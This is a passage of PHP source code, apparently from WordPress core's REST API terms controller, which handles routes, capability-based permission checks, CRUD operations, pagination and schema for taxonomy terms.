					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'        => array(
					'id' => array(
						'description' => __( 'Unique identifier for the term.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force' => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Required to be true, as terms do not support trashing.' ),
						),
					),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if the terms for a post can be read.
	 *
	 * @since 6.0.3
	 *
	 * @param WP_Post         $post    Post object.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool Whether the terms for the post can be read.
	 */
	public function check_read_terms_permission_for_post( $post, $request ) {
		// If the requested post isn't associated with this taxonomy, deny access.
		if ( ! is_object_in_taxonomy( $post->post_type, $this->taxonomy ) ) {
			return false;
		}

		// Grant access if the post is publicly viewable.
		if ( is_post_publicly_viewable( $post ) ) {
			return true;
		}

		// Otherwise grant access if the post is readable by the logged-in user.
		if ( current_user_can( 'read_post', $post->ID ) ) {
			return true;
		}

		// Otherwise, deny access.
		return false;
	}

	/**
	 * Checks if a request has access to read terms in the specified taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has read access, otherwise false or WP_Error object.
	 */
	public function get_items_permissions_check( $request ) {
		$tax_obj = get_taxonomy( $this->taxonomy );

		if ( ! $tax_obj || ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) {
			return false;
		}

		if ( 'edit' === $request['context'] && ! current_user_can( $tax_obj->cap->edit_terms ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit terms in this taxonomy.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! empty( $request['post'] ) ) {
			$post = get_post( $request['post'] );

			if ( ! $post ) {
				return new WP_Error(
					'rest_post_invalid_id',
					__( 'Invalid post ID.' ),
					array(
						'status' => 400,
					)
				);
			}

			if ( ! $this->check_read_terms_permission_for_post( $post, $request ) ) {
				return new WP_Error(
					'rest_forbidden_context',
					__( 'Sorry, you are not allowed to view terms for this post.' ),
					array(
						'status' => rest_authorization_required_code(),
					)
				);
			}
		}

		return true;
	}

	/**
	 * Retrieves terms associated with a taxonomy.
	 *
	 * @since 4.7.0
	 * @since 6.8.0 Respect default query arguments set for the taxonomy upon registration.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();

		/*
		 * This array defines mappings between public API query parameters whose
		 * values are accepted as-passed, and their internal WP_Query parameter
		 * name equivalents (some are the same). Only values which are also
		 * present in $registered will be set.
		 */
		$parameter_mappings = array(
			'exclude'    => 'exclude',
			'include'    => 'include',
			'order'      => 'order',
			'orderby'    => 'orderby',
			'post'       => 'post',
			'hide_empty' => 'hide_empty',
			'per_page'   => 'number',
			'search'     => 'search',
			'slug'       => 'slug',
		);

		$prepared_args = array( 'taxonomy' => $this->taxonomy );

		/*
		 * For each known parameter which is both registered and present in the request,
		 * set the parameter's value on the query $prepared_args.
		 */
		foreach ( $parameter_mappings as $api_param => $wp_param ) {
			if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
				$prepared_args[ $wp_param ] = $request[ $api_param ];
			}
		}

		if ( isset( $prepared_args['orderby'] ) && isset( $request['orderby'] ) ) {
			$orderby_mappings = array(
				'include_slugs' => 'slug__in',
			);

			if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) {
				$prepared_args['orderby'] = $orderby_mappings[ $request['orderby'] ];
			}
		}

		if ( isset( $registered['offset'] ) && ! empty( $request['offset'] ) ) {
			$prepared_args['offset'] = $request['offset'];
		} else {
			$prepared_args['offset'] = ( $request['page'] - 1 ) * $prepared_args['number'];
		}

		$taxonomy_obj = get_taxonomy( $this->taxonomy );

		if ( $taxonomy_obj->hierarchical && isset( $registered['parent'], $request['parent'] ) ) {
			if ( 0 === $request['parent'] ) {
				// Only query top-level terms.
				$prepared_args['parent'] = 0;
			} else {
				if ( $request['parent'] ) {
					$prepared_args['parent'] = $request['parent'];
				}
			}
		}

		/*
		 * When a taxonomy is registered with an 'args' array,
		 * those params override the `$args` passed to this function.
		 *
		 * We only need to do this if no `post` argument is provided.
		 * Otherwise, terms will be fetched using `wp_get_object_terms()`,
		 * which respects the default query arguments set for the taxonomy.
		 */
		if (
			empty( $prepared_args['post'] ) &&
			isset( $taxonomy_obj->args ) &&
			is_array( $taxonomy_obj->args )
		) {
			$prepared_args = array_merge( $prepared_args, $taxonomy_obj->args );
		}

		$is_head_request = $request->is_method( 'HEAD' );
		if ( $is_head_request ) {
			// Force the 'fields' argument. For HEAD requests, only term IDs are required.
			$prepared_args['fields'] = 'ids';
			// Disable priming term meta for HEAD requests to improve performance.
			$prepared_args['update_term_meta_cache'] = false;
		}

		/**
		 * Filters get_terms() arguments when querying terms via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_category_query`
		 *  - `rest_post_tag_query`
		 *
		 * Enables adding extra arguments or setting defaults for a terms
		 * collection request.
		 *
		 * @since 4.7.0
		 *
		 * @link https://developer.wordpress.org/reference/functions/get_terms/
		 *
		 * @param array           $prepared_args Array of arguments for get_terms().
		 * @param WP_REST_Request $request       The REST API request.
		 */
		$prepared_args = apply_filters( "rest_{$this->taxonomy}_query", $prepared_args, $request );

		if ( ! empty( $prepared_args['post'] ) ) {
			$query_result = wp_get_object_terms( $prepared_args['post'], $this->taxonomy, $prepared_args );

			// Used when calling wp_count_terms() below.
			$prepared_args['object_ids'] = $prepared_args['post'];
		} else {
			$query_result = get_terms( $prepared_args );
		}

		$count_args = $prepared_args;

		unset( $count_args['number'], $count_args['offset'] );

		$total_terms = wp_count_terms( $count_args );

		// wp_count_terms() can return a falsey value when the term has no children.
		if ( ! $total_terms ) {
			$total_terms = 0;
		}

		if ( ! $is_head_request ) {
			$response = array();
			foreach ( $query_result as $term ) {
				$data       = $this->prepare_item_for_response( $term, $request );
				$response[] = $this->prepare_response_for_collection( $data );
			}
		}

		$response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $response );

		// Store pagination values for headers.
		$per_page = (int) $prepared_args['number'];
		$page     = (int) ceil( ( ( (int) $prepared_args['offset'] ) / $per_page ) + 1 );

		$response->header( 'X-WP-Total', (int) $total_terms );

		$max_pages = (int) ceil( $total_terms / $per_page );

		$response->header( 'X-WP-TotalPages', $max_pages );

		$request_params = $request->get_query_params();
		$collection_url = rest_url( rest_get_route_for_taxonomy_items( $this->taxonomy ) );
		$base           = add_query_arg( urlencode_deep( $request_params ), $collection_url );

		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Get the term, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Term|WP_Error Term object if ID is valid, WP_Error otherwise.
	 */
	protected function get_term( $id ) {
		$error = new WP_Error(
			'rest_term_invalid',
			__( 'Term does not exist.' ),
			array( 'status' => 404 )
		);

		if ( ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) {
			return $error;
		}

		if ( (int) $id <= 0 ) {
			return $error;
		}

		$term = get_term( (int) $id, $this->taxonomy );
		if ( empty( $term ) || $term->taxonomy !== $this->taxonomy ) {
			return $error;
		}

		return $term;
	}

	/**
	 * Checks if a request has access to read or edit the specified term.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
	 */
	public function get_item_permissions_check( $request ) {
		$term = $this->get_term( $request['id'] );

		if ( is_wp_error( $term ) ) {
			return $term;
		}

		if ( 'edit' === $request['context'] && ! current_user_can( 'edit_term', $term->term_id ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit this term.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Gets a single term from a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		$response = $this->prepare_item_for_response( $term, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a request has access to create a term.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has access to create items, otherwise false or WP_Error object.
	 */
	public function create_item_permissions_check( $request ) {

		if ( ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) {
			return false;
		}

		$taxonomy_obj = get_taxonomy( $this->taxonomy );

		if ( ( is_taxonomy_hierarchical( $this->taxonomy )
				&& ! current_user_can( $taxonomy_obj->cap->edit_terms ) )
			|| ( ! is_taxonomy_hierarchical( $this->taxonomy )
				&& ! current_user_can( $taxonomy_obj->cap->assign_terms ) ) ) {
			return new WP_Error(
				'rest_cannot_create',
				__( 'Sorry, you are not allowed to create terms in this taxonomy.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Creates a single term in a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( isset( $request['parent'] ) ) {
			if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) {
				return new WP_Error(
					'rest_taxonomy_not_hierarchical',
					__( 'Cannot set parent term, taxonomy is not hierarchical.' ),
					array( 'status' => 400 )
				);
			}

			$parent = get_term( (int) $request['parent'], $this->taxonomy );

			if ( ! $parent ) {
				return new WP_Error(
					'rest_term_invalid',
					__( 'Parent term does not exist.' ),
					array( 'status' => 400 )
				);
			}
		}

		$prepared_term = $this->prepare_item_for_database( $request );

		$term = wp_insert_term( wp_slash( $prepared_term->name ), $this->taxonomy, wp_slash( (array) $prepared_term ) );
		if ( is_wp_error( $term ) ) {
			/*
			 * If we're going to inform the client that the term already exists,
			 * give them the identifier for future use.
			 */
			$term_id = $term->get_error_data( 'term_exists' );
			if ( $term_id ) {
				$existing_term = get_term( $term_id, $this->taxonomy );
				$term->add_data( $existing_term->term_id, 'term_exists' );
				$term->add_data(
					array(
						'status'  => 400,
						'term_id' => $term_id,
					)
				);
			}

			return $term;
		}

		$term = get_term( $term['term_id'], $this->taxonomy );

		/**
		 * Fires after a single term is created or updated via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_insert_category`
		 *  - `rest_insert_post_tag`
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Term         $term     Inserted or updated term object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a term, false when updating.
		 */
		do_action( "rest_insert_{$this->taxonomy}", $term, $request, true );

		$schema = $this->get_item_schema();
		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $term->term_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$fields_update = $this->update_additional_fields_for_object( $term, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/**
		 * Fires after a single term is completely created or updated via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_after_insert_category`
		 *  - `rest_after_insert_post_tag`
		 *
		 * @since 5.0.0
		 *
		 * @param WP_Term         $term     Inserted or updated term object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a term, false when updating.
		 */
		do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, true );

		$response = $this->prepare_item_for_response( $term, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( $this->namespace . '/' . $this->rest_base . '/' . $term->term_id ) );

		return $response;
	}

	/**
	 * Checks if a request has access to update the specified term.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, false or WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$term = $this->get_term( $request['id'] );

		if ( is_wp_error( $term ) ) {
			return $term;
		}

		if ( ! current_user_can( 'edit_term', $term->term_id ) ) {
			return new WP_Error(
				'rest_cannot_update',
				__( 'Sorry, you are not allowed to edit this term.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Updates a single term from a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		if ( isset( $request['parent'] ) ) {
			if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) {
				return new WP_Error(
					'rest_taxonomy_not_hierarchical',
					__( 'Cannot set parent term, taxonomy is not hierarchical.' ),
					array( 'status' => 400 )
				);
			}

			$parent = get_term( (int) $request['parent'], $this->taxonomy );

			if ( ! $parent ) {
				return new WP_Error(
					'rest_term_invalid',
					__( 'Parent term does not exist.' ),
					array( 'status' => 400 )
				);
			}
		}

		$prepared_term = $this->prepare_item_for_database( $request );

		// Only update the term if we have something to update.
		if ( ! empty( $prepared_term ) ) {
			$update = wp_update_term( $term->term_id, $term->taxonomy, wp_slash( (array) $prepared_term ) );

			if ( is_wp_error( $update ) ) {
				return $update;
			}
		}

		$term = get_term( $term->term_id, $this->taxonomy );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_insert_{$this->taxonomy}", $term, $request, false );

		$schema = $this->get_item_schema();
		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $term->term_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$fields_update = $this->update_additional_fields_for_object( $term, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, false );

		$response = $this->prepare_item_for_response( $term, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a request has access to delete the specified term.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, otherwise false or WP_Error object.
	 */
	public function delete_item_permissions_check( $request ) {
		$term = $this->get_term( $request['id'] );

		if ( is_wp_error( $term ) ) {
			return $term;
		}

		if ( ! current_user_can( 'delete_term', $term->term_id ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'Sorry, you are not allowed to delete this term.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Deletes a single term from a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		$force = isset( $request['force'] ) ? (bool) $request['force'] : false;

		// We don't support trashing for terms.
		if ( ! $force ) {
			return new WP_Error(
				'rest_trash_not_supported',
				/* translators: %s: force=true */
				sprintf( __( "Terms do not support trashing. Set '%s' to delete." ), 'force=true' ),
				array( 'status' => 501 )
			);
		}

		$request->set_param( 'context', 'view' );

		$previous = $this->prepare_item_for_response( $term, $request );

		$retval = wp_delete_term( $term->term_id, $term->taxonomy );

		if ( ! $retval ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The term cannot be deleted.' ),
				array( 'status' => 500 )
			);
		}

		$response = new WP_REST_Response();
		$response->set_data(
			array(
				'deleted'  => true,
				'previous' => $previous->get_data(),
			)
		);

		/**
		 * Fires after a single term is deleted via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_delete_category`
		 *  - `rest_delete_post_tag`
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Term          $term     The deleted term.
		 * @param WP_REST_Response $response The response data.
		 * @param WP_REST_Request  $request  The request sent to the API.
		 */
		do_action( "rest_delete_{$this->taxonomy}", $term, $response, $request );

		return $response;
	}

	/**
	 * Prepares a single term for create or update.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return object Term object.
	 */
	public function prepare_item_for_database( $request ) {
		$prepared_term = new stdClass();

		$schema = $this->get_item_schema();
		if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) {
			$prepared_term->name = $request['name'];
		}

		if ( isset( $request['slug'] ) && ! empty( $schema['properties']['slug'] ) ) {
			$prepared_term->slug = $request['slug'];
		}

		if ( isset( $request['taxonomy'] ) && ! empty( $schema['properties']['taxonomy'] ) ) {
			$prepared_term->taxonomy = $request['taxonomy'];
		}

		if ( isset( $request['description'] ) && ! empty( $schema['properties']['description'] ) ) {
			$prepared_term->description = $request['description'];
		}

		if ( isset( $request['parent'] ) && ! empty( $schema['properties']['parent'] ) ) {
			$parent_term_id   = 0;
			$requested_parent = (int) $request['parent'];

			if ( $requested_parent ) {
				$parent_term = get_term( $requested_parent, $this->taxonomy );

				if ( $parent_term instanceof WP_Term ) {
					$parent_term_id = $parent_term->term_id;
				}
			}

			$prepared_term->parent = $parent_term_id;
		}

		/**
		 * Filters term data before inserting term via the REST API.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_pre_insert_category`
		 *  - `rest_pre_insert_post_tag`
		 *
		 * @since 4.7.0
		 *
		 * @param object          $prepared_term Term object.
		 * @param WP_REST_Request $request       Request object.
		 */
		return apply_filters( "rest_pre_insert_{$this->taxonomy}", $prepared_term, $request );
	}

	/**
	 * Prepares a single term output for response.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Term         $item    Term object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
			return apply_filters( "rest_prepare_{$this->taxonomy}", new WP_REST_Response( array() ), $item, $request );
		}

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'id', $fields, true ) ) {
			$data['id'] = (int) $item->term_id;
		}

		if ( in_array( 'count', $fields, true ) ) {
			$data['count'] = (int) $item->count;
		}

		if ( in_array( 'description', $fields, true ) ) {
			$data['description'] = $item->description;
		}

		if ( in_array( 'link', $fields, true ) ) {
			$data['link'] = get_term_link( $item );
		}

		if ( in_array( 'name', $fields, true ) ) {
			$data['name'] = $item->name;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $item->slug;
		}

		if ( in_array( 'taxonomy', $fields, true ) ) {
			$data['taxonomy'] = $item->taxonomy;
		}

		if ( in_array( 'parent', $fields, true ) ) {
			$data['parent'] = (int) $item->parent;
		}

		if ( in_array( 'meta', $fields, true ) ) {
			$data['meta'] = $this->meta->get_value( $item->term_id, $request );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $item ) );
		}

		/**
		 * Filters the term data for a REST API response.
		 *
		 * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_prepare_category`
		 *  - `rest_prepare_post_tag`
		 *
		 * Allows modification of the term data right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response  $response  The response object.
		 * @param WP_Term           $item      The original term object.
		 * @param WP_REST_Request   $request   Request used to generate the response.
		 */
		return apply_filters( "rest_prepare_{$this->taxonomy}", $response, $item, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Term $term Term object.
	 * @return array Links for the given term.
	 */
	protected function prepare_links( $term ) {
		$links = array(
			'self'       => array(
				'href' => rest_url( rest_get_route_for_term( $term ) ),
			),
			'collection' => array(
				'href' => rest_url( rest_get_route_for_taxonomy_items( $this->taxonomy ) ),
			),
			'about'      => array(
				'href' => rest_url( sprintf( 'wp/v2/taxonomies/%s', $this->taxonomy ) ),
			),
		);

		if ( $term->parent ) {
			$parent_term = get_term( (int) $term->parent, $term->taxonomy );

			if ( $parent_term ) {
				$links['up'] = array(
					'href'       => rest_url( rest_get_route_for_term( $parent_term ) ),
					'embeddable' => true,
				);
			}
		}

		$taxonomy_obj = get_taxonomy( $term->taxonomy );

		if ( empty( $taxonomy_obj->object_type ) ) {
			return $links;
		}

		$post_type_links = array();

		foreach ( $taxonomy_obj->object_type as $type ) {
			$rest_path = rest_get_route_for_post_type_items( $type );

			if ( empty( $rest_path ) ) {
				continue;
			}

			$post_type_links[] = array(
				'href' => add_query_arg( $this->rest_base, $term->term_id, rest_url( $rest_path ) ),
			);
		}

		if ( ! empty( $post_type_links ) ) {
			$links['https://api.w.org/post_type'] = $post_type_links;
		}

		return $links;
	}

	/**
	 * Retrieves the term's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'post_tag' === $this->taxonomy ? 'tag' : $this->taxonomy,
			'type'       => 'object',
			'properties' => array(
				'id'          => array(
					'description' => __( 'Unique identifier for the term.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'embed', 'edit' ),
					'readonly'    => true,
				),
				'count'       => array(
					'description' => __( 'Number of published posts for the term.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'description' => array(
					'description' => __( 'HTML description of the term.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
				),
				'link'        => array(
					'description' => __( 'URL of the term.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'embed', 'edit' ),
					'readonly'    => true,
				),
				'name'        => array(
					'description' => __( 'HTML title for the term.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'embed', 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
					'required'    => true,
				),
				'slug'        => array(
					'description' => __( 'An alphanumeric identifier for the term unique to its type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'embed', 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'sanitize_slug' ),
					),
				),
				'taxonomy'    => array(
					'description' => __( 'Type attribution for the term.' ),
					'type'        => 'string',
					'enum'        => array( $this->taxonomy ),
					'context'     => array( 'view', 'embed', 'edit' ),
					'readonly'    => true,
				),
			),
		);

		$taxonomy = get_taxonomy( $this->taxonomy );

		if ( $taxonomy->hierarchical ) {
			$schema['properties']['parent'] = array(
				'description' => __( 'The parent term ID.' ),
				'type'        => 'integer',
				'context'     => array( 'view', 'edit' ),
			);
		}

		$schema['properties']['meta'] = $this->meta->get_field_schema();

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();
		$taxonomy     = get_taxonomy( $this->taxonomy );

		$query_params['context']['default'] = 'view';

		$query_params['exclude'] = array(
			'description' => __( 'Ensure result set excludes specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['include'] = array(
			'description' => __( 'Limit result set to specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		if ( ! $taxonomy->hierarchical ) {
			$query_params['offset'] = array(
				'description' => __( 'Offset the result set by a specific number of items.' ),
				'type'        => 'integer',
			);
		}

		$query_params['order'] = array(
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'type'        => 'string',
			'default'     => 'asc',
			'enum'        => array(
				'asc',
				'desc',
			),
		);

		$query_params['orderby'] = array(
			'description' => __( 'Sort collection by term attribute.' ),
			'type'        => 'string',
			'default'     => 'name',
			'enum'        => array(
				'id',
				'include',
				'name',
				'slug',
				'include_slugs',
				'term_group',
				'description',
				'count',
			),
		);

		$query_params['hide_empty'] = array(
			'description' => __( 'Whether to hide terms not assigned to any posts.' ),
			'type'        => 'boolean',
			'default'     => false,
		);

		if ( $taxonomy->hierarchical ) {
			$query_params['parent'] = array(
				'description' => __( 'Limit result set to terms assigned to a specific parent.' ),
				'type'        => 'integer',
			);
		}

		$query_params['post'] = array(
			'description' => __( 'Limit result set to terms assigned to a specific post.' ),
			'type'        => 'integer',
			'default'     => null,
		);

		$query_params['slug'] = array(
			'description' => __( 'Limit result set to terms with one or more specific slugs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
		);

		/**
		 * Filters collection parameters for the terms controller.
		 *
		 * The dynamic part of the filter `$this->taxonomy` refers to the taxonomy
		 * slug for the controller.
		 *
		 * This filter registers the collection parameter, but does not map the
		 * collection parameter to an internal WP_Term_Query parameter.  Use the
		 * `rest_{$this->taxonomy}_query` filter to set WP_Term_Query parameters.
		 *
		 * @since 4.7.0
		 *
		 * @param array       $query_params JSON Schema-formatted collection parameters.
		 * @param WP_Taxonomy $taxonomy     Taxonomy object.
		 */
		return apply_filters( "rest_{$this->taxonomy}_collection_params", $query_params, $taxonomy );
	}

	/**
	 * Checks that the taxonomy is valid.
	 *
	 * @since 4.7.0
	 *
	 * @param string $taxonomy Taxonomy to check.
	 * @return bool Whether the taxonomy is allowed for REST management.
	 */
	protected function check_is_taxonomy_allowed( $taxonomy ) {
		$taxonomy_obj = get_taxonomy( $taxonomy );
		if ( $taxonomy_obj && ! empty( $taxonomy_obj->show_in_rest ) ) {
			return true;
		}
		return false;
	}
}